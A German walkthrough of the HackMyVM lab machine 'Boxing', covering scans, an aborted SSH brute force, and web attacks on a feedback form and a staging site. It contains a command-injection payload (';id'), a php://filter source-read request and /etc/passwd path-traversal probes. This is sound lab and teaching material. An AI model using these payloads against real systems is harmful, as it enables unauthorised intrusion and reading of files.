Boxing - HackMyVM- Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
dirb
gobuster
curl
Burp Suite (impliziert)
sqlmap
wfuzz
ffuf
wget
strings
john
echo
su
cat
ls
cd
touch
ln
chmod
cp
head
awk
tr
ssh

Inhaltsverzeichnis

Reconnaissance

Beginn mit ARP-Scan zur Identifizierung aktiver Hosts im lokalen Netzwerk.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:e1:99:e2	PCS Systemtechnik GmbH

**Analyse:** Der Befehl `arp-scan -l` identifiziert erfolgreich einen Host mit der IP 192.168.2.114. Die MAC-Adresse (08:00:27:e1:99:e2) und der Hersteller (PCS Systemtechnik GmbH) deuten auf eine VirtualBox VM hin.

**Bewertung:** Zielsystem im Netzwerk lokalisiert. Der Hinweis auf VirtualBox gibt ersten Kontext.

**Empfehlung (Pentester):** Konzentriere weitere Scans auf 192.168.2.114.
**Empfehlung (Admin):** Standard-Netzwerküberwachung und Segmentierung können die Erkennung erschweren.

Eintrag in die lokale Hosts-Datei zur Namensauflösung. Der `vi`-Befehl selbst ist im Log auskommentiert, aber der resultierende Eintrag wird gezeigt.

┌──(root㉿cyber)-[~] └─# # vi /etc/hosts

127.0.0.1	localhost
127.0.1.1	cyber


        #       192.168.2.104   zon.hmv
        #       192.168.2.105   king.vln
        #       192.168.2.106   avengers.vln
        #       192.168.2.107   universe.hmv
        #       192.168.2.108   library.vln
        #       192.168.2.109	lampiano.vln
        #       192.168.2.110   infosecwarrior.vln
        #       192.168.2.111   espo.hmv
        #       192.168.2.112   easy.vln skymbu.info
        #       192.168.2.113   messiah.vln
                192.168.2.114   boxing.hmv

**Analyse:** Die lokale `/etc/hosts`-Datei wurde (vermutlich manuell, da der `vi`-Befehl auskommentiert ist) bearbeitet, um der IP-Adresse 192.168.2.114 den Hostnamen `boxing.hmv` zuzuweisen. Dies erleichtert die Verwendung des Namens in nachfolgenden Schritten.

**Bewertung:** Eine praktische Maßnahme zur Verbesserung der Lesbarkeit und Handhabung während des Tests.

**Empfehlung (Pentester):** Verwende `boxing.hmv` als Zielbezeichnung in weiteren Befehlen.
**Empfehlung (Admin):** Keine serverseitigen Maßnahmen erforderlich, da dies eine lokale Konfiguration des Angreifers ist.

Durchführung eines vollständigen Nmap-Scans über alle Ports mit Service-Version, OS-Erkennung und Standard-Skripten.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -AO -T5 192.168.2.114 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 22:29 CEST
Nmap scan report for boxing (192.168.2.114)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 dd:74:2f:1c:d1:23:f6:1f:dd:3a:52:94:5d:8b:7c:d9 (ECDSA)
|_  256 96:fb:74:b2:7d:ac:66:40:e9:94:df:83:9a:a6:07:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Oxer
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:E1:99:E2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms boxing (192.168.2.114)

**Analyse:** Der Nmap-Scan (`-sS`, `-sV`, `-AO`, `-T5`, `-p-`) identifiziert zwei offene TCP-Ports:

Die OS-Erkennung deutet auf ein Linux-System hin. Die MAC-Adresse bestätigt erneut VirtualBox.

**Bewertung:** Die primären Angriffsvektoren sind SSH (Port 22) und der Webserver (Port 80). Die Versionsinformationen sind nützlich für die Suche nach bekannten Schwachstellen. Der Titel "Oxer" ist zu notieren.

**Empfehlung (Pentester):** Führe detailliertere Scans und Analysen für Port 80 (Nikto, Gobuster, manuelle Prüfung) und Port 22 (Benutzer-Enumeration, Brute-Force, bekannte Schwachstellen) durch.
**Empfehlung (Admin):** Stelle sicher, dass SSH und Apache sicher konfiguriert sind. Halte die Software auf dem neuesten Stand.

Gefilterte Nmap-Ausgabe zur Übersicht der offenen Ports.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -AO -T5 192.168.2.114 -p- | grep open
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))

**Analyse:** Die mit `grep open` gefilterte Ausgabe des vorherigen Nmap-Scans bestätigt übersichtlich die beiden offenen Ports 22 (SSH) und 80 (HTTP).

**Bewertung:** Bietet eine schnelle Referenz der offenen Ports.

**Empfehlung (Pentester):** Konzentriere dich auf diese beiden Ports.
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen basierend auf dieser gefilterten Ansicht.

Mysteriöser Eintrag "Joniya Daro" im Log.

Joniya Daro

**Analyse:** Die Zeichenkette "Joniya Daro" erscheint im Log ohne ersichtlichen Kontext oder Bezug zu den vorherigen oder nachfolgenden technischen Befehlen. Es könnte sich um eine Notiz, einen Benutzernamen, einen Dateinamen oder einen irrelevanten Artefakt handeln.

**Bewertung:** Unklar, möglicherweise ein Hinweis. Wird vorerst zur Kenntnis genommen.

**Empfehlung (Pentester):** Behalte den Namen im Hinterkopf, falls er später relevant wird (z.B. als Benutzername für SSH-Brute-Force).
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Web Enumeration

Durchführung eines Nikto-Scans gegen den Webserver auf Port 80.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.114
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2024-04-28 22:31:36 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 5d2e, size: 61090ae116296, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2024-04-28 22:31:45 (GMT2) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Der Nikto-Scan liefert folgende Informationen:

**Bewertung:** Mittel. Fehlende Header sind Best-Practice-Verstöße. Das Directory Indexing ist ein wichtiger Fund und sollte untersucht werden.

**Empfehlung (Pentester):** Untersuche die Inhalte der Verzeichnisse `/css/` und `/images/` manuell. Führe weitere Verzeichnis-Scans mit umfassenderen Wordlists durch.
**Empfehlung (Admin):** Deaktiviere Directory Indexing (`Options -Indexes`). Implementiere die fehlenden Security-Header.

Verzeichnis-Scan mit `dirb`.

┌──(root㉿cyber)-[~] └─# dirb http://192.168.2.114

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Apr 28 22:31:01 2024
URL_BASE: http://192.168.2.114/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4622

---- Scanning URL: http://192.168.2.114/ ----
==> DIRECTORY: http://192.168.2.114/images/
==> DIRECTORY: http://192.168.2.114/css/
+ http://192.168.2.114/index.html (CODE:200|SIZE:23854)
==> DIRECTORY: http://192.168.2.114/js/
+ http://192.168.2.114/server-status (CODE:403|SIZE:278)

---- Entering directory: http://192.168.2.114/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.2.114/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.2.114/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Sun Apr 28 22:31:06 2024
DOWNLOADED: 4622 - FOUND: 2

**Analyse:** `dirb` mit der Standard-Wordlist findet die Verzeichnisse `/images/`, `/css/` und `/js/` sowie die Datei `index.html`. Es bestätigt, dass die gefundenen Verzeichnisse auflistbar sind ("Directory IS LISTABLE"). Der Zugriff auf `/server-status` wird verweigert (403).

**Bewertung:** Bestätigt die Ergebnisse von Nikto bezüglich Directory Indexing und findet zusätzlich das Verzeichnis `/js/`.

**Empfehlung (Pentester):** Untersuche die Inhalte von `/images/`, `/css/` und `/js/`. Verwende Gobuster/ffuf für eine gründlichere Suche nach Dateien und Verzeichnissen.
**Empfehlung (Admin):** Deaktiviere Directory Indexing dringend.

HTTP POST Request an `feedback.php` mit Command Injection Versuch.

POST /feedback.php HTTP/1.1
Host: 192.168.2.114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://192.168.2.114
Connection: close
Referer: http://192.168.2.114/feedback.php
Upgrade-Insecure-Requests: 1

feedback=%3Bid%0D%0A

**Analyse:** Dieses Log zeigt einen HTTP POST Request, der an `/feedback.php` gesendet wurde. Der `feedback`-Parameter enthält den URL-kodierten Wert `;id\r\n`. Dies ist ein Versuch, einen Shell-Befehl (`id`) durch Semikolon-Trennung nach einer potenziell vorhandenen Server-seitigen Funktion einzuschleusen.

**Bewertung:** Dokumentiert einen Command Injection Versuch gegen `feedback.php`. Das Ergebnis des Versuchs (die Server-Antwort) ist jedoch nicht im Log enthalten, daher ist der Erfolg oder Misserfolg unbekannt.

**Empfehlung (Pentester):** Führe systematische Tests auf Command Injection in `feedback.php` durch und analysiere die Antworten sorgfältig. Teste verschiedene Payloads (z.B. `| id`, `` `id` ``). Finde `feedback.php` zuerst mit Gobuster/ffuf.
**Empfehlung (Admin):** Implementiere strikte Eingabevalidierung und -sanitisierung für den `feedback`-Parameter. Verwende keine Shell-Befehle mit Benutzereingaben.

Umfassender Verzeichnis- und Datei-Scan mit `gobuster`.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://boxing.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://boxing.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js
[+] Expanded:                true
[+] Ignore TLS Errors:       true
[+] No Error:                true
[+] Timeout:                 10s
===============================================================
2024/04/28 22:35:01 Starting gobuster in directory enumeration mode
===============================================================
http://boxing.hmv/index.html           (Status: 200) [Size: 23854]
http://boxing.hmv/images               (Status: 301) [Size: 309] [--> http://boxing.hmv/images/]
http://boxing.hmv/about.html           (Status: 200) [Size: 9704]
http://boxing.hmv/blog.html            (Status: 200) [Size: 11165]
http://boxing.hmv/feedback.php         (Status: 200) [Size: 1616]
http://boxing.hmv/css                  (Status: 301) [Size: 306] [--> http://boxing.hmv/css/]
http://boxing.hmv/js                   (Status: 301) [Size: 305] [--> http://boxing.hmv/js/]
http://boxing.hmv/class.html           (Status: 200) [Size: 12460]
===============================================================
2024/04/28 22:40:01 Finished
===============================================================

**Analyse:** Gobuster mit einer mittelgroßen Wordlist und vielen Dateiendungen findet:

Es werden keine weiteren versteckten Dateien oder Verzeichnisse aufgedeckt.

**Bewertung:** Bestätigt die bekannte Struktur und hebt `feedback.php` erneut hervor. Die Webseite scheint relativ klein zu sein.

**Empfehlung (Pentester):** Konzentriere dich auf die Analyse von `feedback.php` und die Inhalte der gefundenen HTML-Seiten (Suche nach Kommentaren, Links, Hinweisen).
**Empfehlung (Admin):** Stelle sicher, dass alle exponierten Dateien und Verzeichnisse notwendig sind und keine sensiblen Informationen enthalten.

Zusammenfassung der auf der Webseite erkannten Technologien (vermutlich durch Browser-Plugins oder manuelle Analyse).

Schrift Script
Google Font API

Web Server
Apache HTTP Server 2.4.57

Programmiersprache
PHP

Betriebssysteme
Debian

CDN
cdnjs
Cloudflare

Karten
Google Maps

JavaScript Bibliotheken
jQuery 3.4.1
OWL Carousel

UI Frameworks
Bootstrap 4.3.1

**Analyse:** Diese Liste fasst die auf der Webseite identifizierten Technologien zusammen. Dazu gehören serverseitige Komponenten (Apache, PHP, Debian) und clientseitige Bibliotheken/Dienste (Google Fonts, CDNs, Google Maps, jQuery, OWL Carousel, Bootstrap).

**Bewertung:** Nützlicher Überblick über den Technologie-Stack. Bestätigt Apache/PHP/Debian. Die clientseitigen Bibliotheken könnten eigene Schwachstellen haben (z.B. veraltetes jQuery), sind aber für den direkten Serverzugriff meist weniger relevant.

**Empfehlung (Pentester):** Suche nach bekannten Schwachstellen für Apache 2.4.57, PHP (Version unbekannt) und die spezifischen JavaScript-Bibliotheken/Frameworks.
**Empfehlung (Admin):** Halte alle Komponenten (Server, PHP, JS-Bibliotheken) auf dem neuesten Stand.

Abgebrochener Versuch, SSH-Passwörter für den Benutzer `daro` mit Hydra zu knacken.

┌──(root㉿cyber)-[~] └─# # hydra -l daro -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.114:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-02 20:35:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344496 login tries (l:1/p:14344496), ~224133 tries per task
[DATA] attacking ssh://192.168.2.114:22/
[STATUS] 420.00 tries/min, 420 tries in 00:01h, 14344101 to do in 569:13h, 39 active
[STATUS] 258.00 tries/min, 774 tries in 00:03h, 14343756 to do in 926:36h, 30 active
[STATUS] 187.71 tries/min, 1314 tries in 00:07h, 14343228 to do in 1273:30h, 18 active
[STATUS] 149.80 tries/min, 2247 tries in 00:15h, 14342295 to do in 1595:43h, 18 active
[STATUS] 132.39 tries/min, 4104 tries in 00:31h, 14340438 to do in 1805:23h, 18 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

**Analyse:** Ein Hydra-Befehl zum Brute-Forcen des SSH-Passworts für den Benutzer `daro` (vermutlich aus dem "Joniya Daro"-Hinweis) wird gezeigt, ist aber auskommentiert (`#`). Die nachfolgende Ausgabe zeigt jedoch, dass Hydra gestartet und dann manuell mit Strg+C (`^C`) abgebrochen wurde. Es wurden über 4000 Passwörter aus `rockyou.txt` probiert, ohne Erfolg.

**Bewertung:** Der Brute-Force-Versuch für `daro` war erfolglos (abgebrochen). SSH scheint nicht leicht zugänglich zu sein.

**Empfehlung (Pentester):** SSH-Brute-Force ist oft zeitaufwendig und laut. Konzentriere dich auf die Webanwendung, es sei denn, es gibt starke Hinweise auf schwache SSH-Passwörter oder spezifische Benutzer.
**Empfehlung (Admin):** Implementiere SSH-Härtungsmaßnahmen wie Fail2ban, Key-basierte Authentifizierung und Deaktivierung der Passwort-Authentifizierung.

Vulnerability Analysis

Erneuter fehlgeschlagener Versuch, eine WordPress-Konfigurationsdatei mittels Path Info zu laden.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.114//feedback.php/wordpress/wp-config.php_bak
<!DOCTYPE html>
<html>
<head>
    <title>Feedback Form</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #0a0a0a; /* Dark background */
            color: #ffffff; /* White text */
            text-align: center;
        }
        form {
            background-color: #0a0a0a; /* Dark background */
            border: 3px solid #6dbf47; /* Green border */
            padding: 20px;
            display: inline-block;
            margin-top: 50px;
        }
        label, textarea, input[type="submit"] {
            display: block;
            margin-bottom: 10px;
            color: #ffffff; /* White text */
        }
        textarea, input[type="submit"] {
            width: 300px;
            border: 1px solid #6dbf47; /* Green border */
    	    color: #6dbf47; /* Green text or choose any color you prefer */
            background-color: #0a0a0a; /* Dark background */
        }
        input[type="submit"] {
            background-color: #6dbf47; /* Green background */
            color: #0a0a0a; /* Dark text */
            padding: 5px 15px;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #89e57f; /* Lighter green background */
        }
    </style>
</head>
<body>
    <h2 style="color: #6dbf47;">Feedback Form</h2>

    <form method="post" action="/feedback.php/wordpress/wp-config.php_bak">
        <label for="feedback">Your Feedback :</label><br>
        <textarea id="feedback" name="feedback" rows="4" cols="50"></textarea><br>
        <input type="submit" value="Send">
    </form>
</body>
</html>

**Analyse:** Es wird erneut versucht, eine `wp-config.php_bak`-Datei über den Path-Info-Teil der URL (`/feedback.php/...`) zu laden. Wie zuvor gibt der Server nur das HTML des Feedback-Formulars zurück.

**Bewertung:** Bestätigt, dass diese Methode zur Dateieinbindung nicht funktioniert.

**Empfehlung (Pentester):** Fokussiere dich auf andere LFI-Methoden, z.B. über Parameter.
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen erforderlich.

Herunterladen des HTML-Formulars mit `wget`, was den fehlgeschlagenen LFI-Versuch bestätigt.

┌──(root㉿cyber)-[~] └─# wget http://192.168.2.114//feedback.php/wordpress/wp-config.php_bak
--2024-04-02 21:19:39--  http://192.168.2.114//feedback.php/wordpress/wp-config.php_bak
Verbindungsaufbau zu 192.168.2.114:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1644 (1,6K) [text/html]
Wird in »wp-config.php_bak« gespeichert.

wp-config.php_bak                               100%[=====================================================================================================>]   1,61K  --.-KB/s    in 0s

2024-04-02 21:19:39 (251 MB/s) - »wp-config.php_bak« gespeichert [1644/1644]

**Analyse:** `wget` wird für denselben LFI-Versuch wie zuvor verwendet. Es lädt erfolgreich eine Datei herunter, die jedoch nur 1.6K groß ist und als `text/html` identifiziert wird. Dies ist das Feedback-Formular, nicht die gesuchte Konfigurationsdatei.

**Bewertung:** Bestätigt erneut das Scheitern des LFI-Versuchs über Path Info.

**Empfehlung (Pentester):** LFI über Path Info aufgeben.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Versuche, mit `wfuzz` Parameter für LFI zu finden, scheitern.

**Analyse:** Mehrere `wfuzz`-Läufe werden durchgeführt, um LFI-Schwachstellen zu finden:

  1. Fuzzing des Parameter*namens* (`FUZZ=../../../../etc/passwd`) mit einer mittleren Wordlist.
  2. Fuzzing des Parameter*namens* (`FUZZ=../../../../etc/passwd`) mit einer großen Wordlist.
  3. Fuzzing des Parameter*wertes* für `feedback` (`feedback=FUZZ`) mit einer Liste von Logdateinamen.
Alle Versuche scheitern; es werden keine Payloads gefunden, die eine andere Antwort als die Standardantwort (gefiltert durch `--hw 152`) hervorrufen.

**Bewertung:** LFI scheint über die getesteten Parameter und Payloads in `feedback.php` nicht möglich zu sein.

**Empfehlung (Pentester):** Untersuche andere Seiten (`index.html`, `about.html` etc.) oder konzentriere dich auf die Staging-Umgebung, falls vorhanden.
**Empfehlung (Admin):** Keine direkten Maßnahmen erforderlich.

Erneuter Versuch, den Quellcode von `feedback.php` mittels LFI und PHP-Filter zu lesen (Ergebnis fehlt).

GET /feedback.php?feedback=php://filter/convert.base64-encode/resource=feedback.php HTTP/1.1
Host: 192.168.2.114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Origin: http://192.168.2.114
Connection: close
Referer: http://192.168.2.114/feedback.php
Upgrade-Insecure-Requests: 1

**Analyse:** Ein GET-Request wird an `/feedback.php` gesendet, wobei versucht wird, den `feedback`-Parameter für eine LFI mit dem `php://filter`-Wrapper zu nutzen, um den Base64-kodierten Quellcode von `feedback.php` selbst zu erhalten.

**Bewertung:** Zeigt einen korrekten Ansatz zum Auslesen von Quellcode mittels LFI. Das Ergebnis dieser Anfrage ist jedoch nicht im Log dokumentiert, daher ist der Erfolg unbekannt.

**Empfehlung (Pentester):** Führe diesen Request aus und analysiere die Antwort. Wenn Base64-Text zurückkommt, dekodiere ihn, um den Quellcode zu erhalten.
**Empfehlung (Admin):** Behebe die potenzielle LFI-Schwachstelle, falls vorhanden.

Staging Environment Analysis

Hinweise auf eine Staging-Umgebung und einen potenziellen Benutzernamen/Passwort-Hinweis.

http://boxing.hmv/

demo@boxing.hmv
X-Origin-Domain = staging-env.boxing.hmv
http://boxing.hmv/feedback.php?feedback=Hello%21+You+don%27t+have+a+link+to+reset+the+password%2C+and+I%27ve+forgotten+it%21+I+tried+Cassius%21+but+it+doesn%27t+work%3B+Contact+me+asap+pease%21%0D%0A%0D%0ACassius

**Analyse:** Diese Blöcke scheinen Notizen oder zusammengefasste Informationen zu sein:

**Bewertung:** Hoch. Die Entdeckung der Staging-Umgebung `staging-env.boxing.hmv` eröffnet eine neue Angriffsfläche. Der Passwort-Hinweis "Cassius!" ist sehr relevant.

**Empfehlung (Pentester):** Füge `staging-env.boxing.hmv` zur `/etc/hosts`-Datei hinzu und beginne mit der Enumeration dieser Umgebung. Teste "Cassius!" als Passwort für gefundene Benutzer (z.B. `daro`, `cassius`).
**Empfehlung (Admin):** Sichere oder entferne die Staging-Umgebung. Stelle sicher, dass keine sensiblen Hinweise (wie Passwörter) in öffentlich zugänglichen Bereichen oder Nachrichten hinterlassen werden.

Erste Enumeration der Staging-Umgebung mit Gobuster.

http://staging-env.boxing.hmv/index.php            (Status: 200) [Size: 1167]
http://staging-env.boxing.hmv/cache                (Status: 301) [Size: 332] [--> http://staging-env.boxing.hmv/cache/]

**Analyse:** Ein (hier nicht gezeigter) Gobuster-Scan gegen `http://staging-env.boxing.hmv` findet `index.php` und ein Verzeichnis `/cache/`.

**Bewertung:** Bestätigt, dass die Staging-Umgebung aktiv ist und eine andere Struktur als die Produktionsumgebung haben könnte. Das `/cache/`-Verzeichnis ist potenziell interessant.

**Empfehlung (Pentester):** Untersuche `index.php` auf der Staging-Umgebung und den Inhalt von `/cache/`.
**Empfehlung (Admin):** Überprüfe die Sicherheit und Notwendigkeit der Staging-Umgebung.

Analyse von Cache-Dateien und einer Hash-Signatur (vermutlich aus dem `/cache/`-Verzeichnis).

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# cat 707971e003b4ae6c8121c3a920e507f5-le64.cache-8
��@`����c�:�-/usr/share/fonts/X11/encoding/usr/share/fonts/X11/encodings/large
┌──(root㉿cyber)-[/home/cyber/Downloads] └─# strings 707971e003b4ae6c8121c3a920e507f5-le64.cache-8
/usr/share/fonts/X11/encodings
/usr/share/fonts/X11/encodings/large
┌──(root㉿cyber)-[/home/cyber/Downloads] └─# strings data_block.bin
Vs?d
7m8k*
UEzY
~)>q
a>GW?
%_h+?1
q!fj
wm^G
P;nV
A6&wfrak&]
bPy9
┌──(root㉿cyber)-[~cyber/Downloads] └─# cat CACHEDIR.TAG
Signature: 8a477f597d28d172789f06886806bc55
# This file is a cache directory tag created by man-db.
# For information about cache directory tags, see:
#	http://www.brynosaurus.com/cachedir/
Enter up to 20 non-salted hashes, one per line:
8a477f597d28d172789f06886806bc55

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults
Hash	Type	Result
8a477f597d28d172789f06886806bc55	Unknown	Not found.

**Analyse:** Es werden verschiedene Dateien untersucht, die vermutlich aus dem `/cache/`-Verzeichnis der Staging-Umgebung stammen:

**Bewertung:** Niedrig. Die untersuchten Cache-Dateien scheinen keine direkt verwertbaren Informationen oder Zugangsdaten zu enthalten. Die `CACHEDIR.TAG`-Datei ist Standard für `man-db` und die Signatur ist kein Passwort-Hash.

**Empfehlung (Pentester):** Das `/cache/`-Verzeichnis scheint keine wertvollen Informationen zu enthalten. Konzentriere dich auf die `index.php` der Staging-Umgebung.
**Empfehlung (Admin):** Stelle sicher, dass keine sensiblen Daten im Cache-Verzeichnis landen.

Versuch, LFI auf der Staging-Umgebung (`index.php`) über den `url`-Parameter zu nutzen.

view-source:http://staging-env.boxing.hmv/index.php?url=/etc/passwd

**Analyse:** Es wird versucht, die Datei `/etc/passwd` über den `url`-Parameter der `index.php` auf der Staging-Umgebung einzubinden. Das Ergebnis (ob der Inhalt angezeigt wurde) ist im Log nicht ersichtlich.

**Bewertung:** Dokumentiert einen LFI-Versuch. Erfolg unklar aus dem Log.

**Empfehlung (Pentester):** Überprüfe die Antwort des Servers auf diesen Request, um die LFI zu bestätigen.
**Empfehlung (Admin):** Behebe die LFI im `url`-Parameter der Staging-`index.php`.

Fuzzing nach LFI-Parametern auf der Staging-`index.php` bestätigt den `url`-Parameter.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://staging-env.boxing.hmv/index.php?FUZZ=../../../../../../etc/passwd" --hc 404 --hh 1167
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
* Crowd sourced tool Collaboration community...        *
********************************************************

Target: http://staging-env.boxing.hmv/index.php?FUZZ=../../../../../../etc/passwd
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001257:   200        46 L     93 W       1184 Ch     "url"

=====================================================================

Total time: 138.1204
Processed Requests: 220546
Filtered Requests: 220545
Requests/sec.: 1596.765

**Analyse:** `wfuzz` wird verwendet, um Parameter zu finden, die für LFI anfällig sind, indem der Payload `../../../../../../etc/passwd` getestet wird. Es filtert Antworten mit Status 404 oder der Standard-Zeichengröße (1167) heraus. Der einzige gefundene Parameter ist `url`, der eine andere Antwortgröße (1184 Zeichen) erzeugt.

**Bewertung:** Bestätigt, dass der `url`-Parameter in `staging-env.boxing.hmv/index.php` der LFI-anfällige Parameter ist.

**Empfehlung (Pentester):** Nutze `?url=` für LFI- und SSRF-Angriffe auf die Staging-Umgebung.
**Empfehlung (Admin):** Behebe die LFI im `url`-Parameter dringend.

Fehlgeschlagener SQLMap-Scan gegen die Staging-Umgebung.

┌──(root㉿cyber)-[~] └─# sqlmap -r /home/cyber/Downloads/ben.sql --dbs --batch --risk 3 --level 3
___
__H__
 ___ ___[']_____ ___ ___  {1.8.4#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:05:12 /2024-04-28/

[23:05:12] [INFO] parsing HTTP request from '/home/cyber/Downloads/ben.sql'
[23:05:12] [INFO] testing connection to the target URL
[23:05:12] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:05:12] [INFO] testing if the target URL content is stable
[23:05:12] [INFO] target URL content is stable
[23:05:12] [INFO] testing if GET parameter 'url' is dynamic
[23:05:12] [INFO] confirming that GET parameter 'url' is dynamic
[23:05:12] [INFO] GET parameter 'url' is dynamic
[23:05:12] [INFO] heuristic (basic) test shows that GET parameter 'url' might be injectable (possible DBMS: 'MySQL')
[23:05:12] [INFO] testing for SQL injection on GET parameter 'url'
# ... (viele fehlgeschlagene Tests) ...
[23:05:12] [WARNING] parameter 'Referer' does not seem to be injectable
[23:05:12] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 23:05:12 /2024-04-28/

**Analyse:** `sqlmap` wird erneut ausgeführt, diesmal vermutlich mit einer Anfrage an `staging-env.boxing.hmv/index.php` (gespeichert in `ben.sql`). Trotz intensiver Tests (`--level 3 --risk 3`) findet `sqlmap` keine SQL-Injection-Schwachstelle im `url`-Parameter oder anderen Parametern der Anfrage.

**Bewertung:** Niedrig. SQLi ist auch auf der Staging-Umgebung unwahrscheinlich.

**Empfehlung (Pentester):** Konzentriere dich auf LFI/SSRF im `url`-Parameter der Staging-Umgebung.
